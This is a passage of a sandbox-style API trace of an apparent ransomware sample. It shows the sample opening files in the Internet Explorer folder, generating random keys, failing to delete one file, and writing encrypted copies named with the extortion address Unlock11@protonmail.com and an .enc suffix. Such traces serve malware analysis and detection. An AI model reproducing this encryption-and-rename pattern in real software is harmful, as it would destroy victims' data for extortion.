dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.159] GetFileType (hFile=0x3ac) returned 0x1 [0124.159] GetLastError () returned 0x0 [0124.159] GetCurrentThreadId () returned 0x9b0 [0124.159] GetLastError () returned 0x0 [0124.159] GetFileType (hFile=0x3ac) returned 0x1 [0124.159] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.160] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.160] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.160] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.160] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.160] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.160] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.160] GetLastError () returned 0x0 [0124.160] GetCurrentThreadId () returned 0x9b0 [0124.160] GetLastError () returned 0x0 [0124.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0124.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0124.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0124.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.161] GetLastError () returned 0x0 [0124.161] GetLastError () returned 0x0 [0124.161] GetCurrentThreadId () returned 0x9b0 [0124.161] GetLastError () returned 0x0 [0124.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.161] GetLastError () returned 0x0 [0124.161] GetLastError () returned 0x0 [0124.161] GetCurrentThreadId () returned 0x9b0 [0124.161] GetLastError () returned 0x0 [0124.161] GetLastError () returned 0x0 [0124.163] GetLastError () returned 0x0 [0124.164] GetCurrentThreadId () returned 0x9b0 [0124.164] GetLastError () returned 0x0 [0124.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.164] GetCurrentThreadId () returned 0x9b0 [0124.165] GetLastError () returned 0x0 [0124.165] GetLastError () returned 0x0 [0124.165] GetLastError () returned 0x0 [0124.165] GetLastError () returned 0x0 [0124.165] GetCurrentThreadId () returned 0x9b0 [0124.165] GetLastError () returned 0x0 [0124.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0124.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0124.166] GetLastError () returned 0x0 [0124.167] GetLastError () returned 0x0 [0124.167] GetCurrentThreadId () returned 0x9b0 [0124.168] GetLastError () returned 0x0 [0124.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.168] GetLastError () returned 0x0 [0124.169] GetLastError () returned 0x0 [0124.169] GetCurrentThreadId () returned 0x9b0 [0124.169] GetLastError () returned 0x0 [0124.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265518 [0124.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.169] GetLastError () returned 0x0 [0124.170] GetLastError () returned 0x0 [0124.170] GetLastError () returned 0x0 [0124.170] GetLastError () returned 0x0 [0124.170] GetCurrentThreadId () returned 0x9b0 [0124.170] GetLastError () returned 0x0 [0124.170] GetCurrentThreadId () returned 0x9b0 [0124.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x370eb48 [0124.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.171] GetLastError () returned 0x0 [0124.171] GetLastError () returned 0x0 [0124.172] GetCurrentThreadId () returned 0x9b0 [0124.172] GetLastError () returned 0x0 [0124.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.172] GetLastError () returned 0x0 [0124.174] GetLastError () returned 0x0 [0124.174] GetCurrentThreadId () returned 0x9b0 [0124.174] GetLastError () returned 0x0 [0124.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265578 [0124.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.174] GetLastError () returned 0x0 [0124.175] GetLastError () returned 0x0 [0124.175] GetLastError () returned 0x0 [0124.175] GetLastError () returned 0x0 [0124.175] GetCurrentThreadId () returned 0x9b0 [0124.175] GetLastError () returned 0x0 [0124.175] GetCurrentThreadId () returned 0x9b0 [0124.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.175] GetLastError () returned 0x0 [0124.176] GetLastError () returned 0x0 [0124.176] GetCurrentThreadId () returned 0x9b0 [0124.177] GetLastError () returned 0x0 [0124.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.177] GetLastError () returned 0x0 [0124.177] GetLastError () returned 0x0 [0124.177] GetCurrentThreadId () returned 0x9b0 [0124.177] GetLastError () returned 0x0 [0124.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654b8 [0124.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.179] GetLastError () returned 0x0 [0124.179] GetLastError () returned 0x0 [0124.179] GetLastError () returned 0x0 [0124.179] GetLastError () returned 0x0 [0124.179] GetCurrentThreadId () returned 0x9b0 [0124.179] GetLastError () returned 0x0 [0124.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.180] GetLastError () returned 0x0 [0124.188] GetLastError () returned 0x0 [0124.188] GetCurrentThreadId () returned 0x9b0 [0124.188] GetLastError () returned 0x0 [0124.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.188] GetLastError () returned 0x0 [0124.188] GetLastError () returned 0x0 [0124.189] GetCurrentThreadId () returned 0x9b0 [0124.189] GetLastError () returned 0x0 [0124.189] GetCurrentThreadId () returned 0x9b0 [0124.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265578 [0124.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.189] GetLastError () returned 0x0 [0124.189] GetLastError () returned 0x0 [0124.190] GetLastError () returned 0x0 [0124.190] GetLastError () returned 0x0 [0124.190] GetCurrentThreadId () returned 0x9b0 [0124.190] GetLastError () returned 0x0 [0124.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.190] GetLastError () returned 0x0 [0124.192] GetLastError () returned 0x0 [0124.192] GetCurrentThreadId () returned 0x9b0 [0124.192] GetLastError () returned 0x0 [0124.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.192] GetLastError () returned 0x0 [0124.193] GetLastError () returned 0x0 [0124.193] GetCurrentThreadId () returned 0x9b0 [0124.193] GetLastError () returned 0x0 [0124.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.193] GetCurrentThreadId () returned 0x9b0 [0124.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265588 [0124.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.193] GetLastError () returned 0x0 [0124.194] GetLastError () returned 0x0 [0124.194] GetLastError () returned 0x0 [0124.194] GetLastError () returned 0x0 [0124.194] GetCurrentThreadId () returned 0x9b0 [0124.194] GetLastError () returned 0x0 [0124.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.194] GetLastError () returned 0x0 [0124.195] GetLastError () returned 0x0 [0124.196] GetCurrentThreadId () returned 0x9b0 [0124.196] GetLastError () returned 0x0 [0124.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.196] GetLastError () returned 0x0 [0124.196] GetLastError () returned 0x0 [0124.196] GetCurrentThreadId () returned 0x9b0 [0124.196] GetLastError () returned 0x0 [0124.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654f8 [0124.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0124.197] GetCurrentThreadId () returned 0x9b0 [0124.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.197] GetLastError () returned 0x0 [0124.197] GetLastError () returned 0x0 [0124.197] GetLastError () returned 0x0 [0124.197] GetLastError () returned 0x0 [0124.198] GetCurrentThreadId () returned 0x9b0 [0124.198] GetLastError () returned 0x0 [0124.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0124.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0124.198] GetLastError () returned 0x0 [0124.199] GetLastError () returned 0x0 [0124.199] GetCurrentThreadId () returned 0x9b0 [0124.199] GetLastError () returned 0x0 [0124.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.199] GetLastError () returned 0x0 [0124.200] GetLastError () returned 0x0 [0124.200] GetCurrentThreadId () returned 0x9b0 [0124.200] GetLastError () returned 0x0 [0124.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265518 [0124.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654f8 | out: hHeap=0x2ad0000) returned 1 [0124.201] GetCurrentThreadId () returned 0x9b0 [0124.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd018) returned 0x37cc7b0 [0124.201] GetLastError () returned 0x0 [0124.201] GetLastError () returned 0x0 [0124.201] GetLastError () returned 0x0 [0124.201] GetLastError () returned 0x0 [0124.201] GetCurrentThreadId () returned 0x9b0 [0124.202] GetLastError () returned 0x0 [0124.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cc7b0 | out: hHeap=0x2ad0000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.202] GetLastError () returned 0x0 [0124.203] GetLastError () returned 0x0 [0124.203] GetCurrentThreadId () returned 0x9b0 [0124.203] GetLastError () returned 0x0 [0124.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.203] GetLastError () returned 0x0 [0124.203] GetLastError () returned 0x0 [0124.204] GetCurrentThreadId () returned 0x9b0 [0124.204] GetLastError () returned 0x0 [0124.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.204] GetLastError () returned 0x0 [0124.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.204] CloseHandle (hObject=0x3ac) returned 1 [0124.205] GetLastError () returned 0x0 [0124.205] GetCurrentThreadId () returned 0x9b0 [0124.205] GetLastError () returned 0x0 [0124.205] GetLastError () returned 0x0 [0124.205] CloseHandle (hObject=0x39c) returned 1 [0124.205] GetLastError () returned 0x0 [0124.205] GetCurrentThreadId () returned 0x9b0 [0124.205] GetLastError () returned 0x0 [0124.205] GetLastError () returned 0x0 [0124.205] GetLastError () returned 0x0 [0124.206] GetLastError () returned 0x0 [0124.206] GetLastError () returned 0x0 [0124.206] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0 [0124.206] GetLastError () returned 0x5 [0124.206] GetCurrentThreadId () returned 0x9b0 [0124.206] GetLastError () returned 0x5 [0124.206] GetLastError () returned 0x5 [0124.206] GetLastError () returned 0x5 [0124.206] GetLastError () returned 0x5 [0124.207] LocalFree (hMem=0x1053c70) returned 0x0 [0124.207] GetCurrentThreadId () returned 0x9b0 [0124.207] GetLastError () returned 0x5 [0124.207] GetLastError () returned 0x5 [0124.207] GetLastError () returned 0x5 [0124.207] GetLastError () returned 0x5 [0124.207] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\ieinstal.exe", lpFilePart=0x9bada4*="ieinstal.exe") returned 0x2f [0124.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.207] GetCurrentThreadId () returned 0x9b0 [0124.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0124.208] GetLastError () returned 0x0 [0124.208] GetLastError () returned 0x0 [0124.208] GetLastError () returned 0x0 [0124.208] GetLastError () returned 0x0 [0124.208] GetCurrentThreadId () returned 0x9b0 [0124.208] GetLastError () returned 0x0 [0124.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0124.209] GetCurrentThreadId () returned 0x9b0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.209] GetCurrentThreadId () returned 0x9b0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.209] GetLastError () returned 0x0 [0124.210] GetLastError () returned 0x0 [0124.210] GetCurrentThreadId () returned 0x9b0 [0124.210] GetLastError () returned 0x0 [0124.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0124.210] GetLastError () returned 0x0 [0124.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0124.210] GetLastError () returned 0x0 [0124.210] GetLastError () returned 0x0 [0124.210] GetLastError () returned 0x0 [0124.210] GetCurrentThreadId () returned 0x9b0 [0124.211] GetLastError () returned 0x0 [0124.211] GetCurrentThreadId () returned 0x9b0 [0124.211] GetLastError () returned 0x0 [0124.211] GetLastError () returned 0x0 [0124.211] GetLastError () returned 0x0 [0124.211] GetLastError () returned 0x0 [0124.211] GetCurrentThreadId () returned 0x9b0 [0124.211] GetLastError () returned 0x0 [0124.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0124.211] GetLastError () returned 0x0 [0124.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] GetCurrentThreadId () returned 0x9b0 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] GetLastError () returned 0x0 [0124.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0124.213] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800)) returned 1 [0124.213] GetLastError () returned 0x0 [0124.213] GetCurrentThreadId () returned 0x9b0 [0124.213] GetLastError () returned 0x0 [0124.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0124.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0124.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0124.213] GetCurrentThreadId () returned 0x9b0 [0124.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0124.214] GetLastError () returned 0x0 [0124.214] GetLastError () returned 0x0 [0124.214] GetLastError () returned 0x0 [0124.214] GetLastError () returned 0x0 [0124.214] GetCurrentThreadId () returned 0x9b0 [0124.214] GetLastError () returned 0x0 [0124.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0124.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0124.214] GetCurrentThreadId () returned 0x9b0 [0124.215] GetCurrentThreadId () returned 0x9b0 [0124.215] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.215] GetFileType (hFile=0x39c) returned 0x1 [0124.215] GetCurrentThreadId () returned 0x9b0 [0124.215] GetFileType (hFile=0x39c) returned 0x1 [0124.215] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.216] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.216] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.216] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.216] GetCurrentThreadId () returned 0x9b0 [0124.216] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.216] GetFileType (hFile=0x3ac) returned 0x1 [0124.217] GetCurrentThreadId () returned 0x9b0 [0124.217] GetFileType (hFile=0x3ac) returned 0x1 [0124.217] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.217] GetCurrentThreadId () returned 0x9b0 [0124.217] GetCurrentThreadId () returned 0x9b0 [0124.218] GetCurrentThreadId () returned 0x9b0 [0124.233] GetCurrentThreadId () returned 0x9b0 [0124.234] GetCurrentThreadId () returned 0x9b0 [0124.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.234] GetCurrentThreadId () returned 0x9b0 [0124.236] GetCurrentThreadId () returned 0x9b0 [0124.237] GetCurrentThreadId () returned 0x9b0 [0124.237] GetCurrentThreadId () returned 0x9b0 [0124.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.238] GetCurrentThreadId () returned 0x9b0 [0124.239] GetCurrentThreadId () returned 0x9b0 [0124.242] GetCurrentThreadId () returned 0x9b0 [0124.242] GetCurrentThreadId () returned 0x9b0 [0124.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.243] GetCurrentThreadId () returned 0x9b0 [0124.244] GetCurrentThreadId () returned 0x9b0 [0124.247] GetCurrentThreadId () returned 0x9b0 [0124.247] GetCurrentThreadId () returned 0x9b0 [0124.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.247] GetCurrentThreadId () returned 0x9b0 [0124.248] GetCurrentThreadId () returned 0x9b0 [0124.249] GetCurrentThreadId () returned 0x9b0 [0124.250] GetCurrentThreadId () returned 0x9b0 [0124.250] GetCurrentThreadId () returned 0x9b0 [0124.251] GetCurrentThreadId () returned 0x9b0 [0124.252] GetCurrentThreadId () returned 0x9b0 [0124.252] GetCurrentThreadId () returned 0x9b0 [0124.253] GetCurrentThreadId () returned 0x9b0 [0124.254] GetCurrentThreadId () returned 0x9b0 [0124.255] GetCurrentThreadId () returned 0x9b0 [0124.255] GetCurrentThreadId () returned 0x9b0 [0124.255] GetCurrentThreadId () returned 0x9b0 [0124.256] GetCurrentThreadId () returned 0x9b0 [0124.264] GetCurrentThreadId () returned 0x9b0 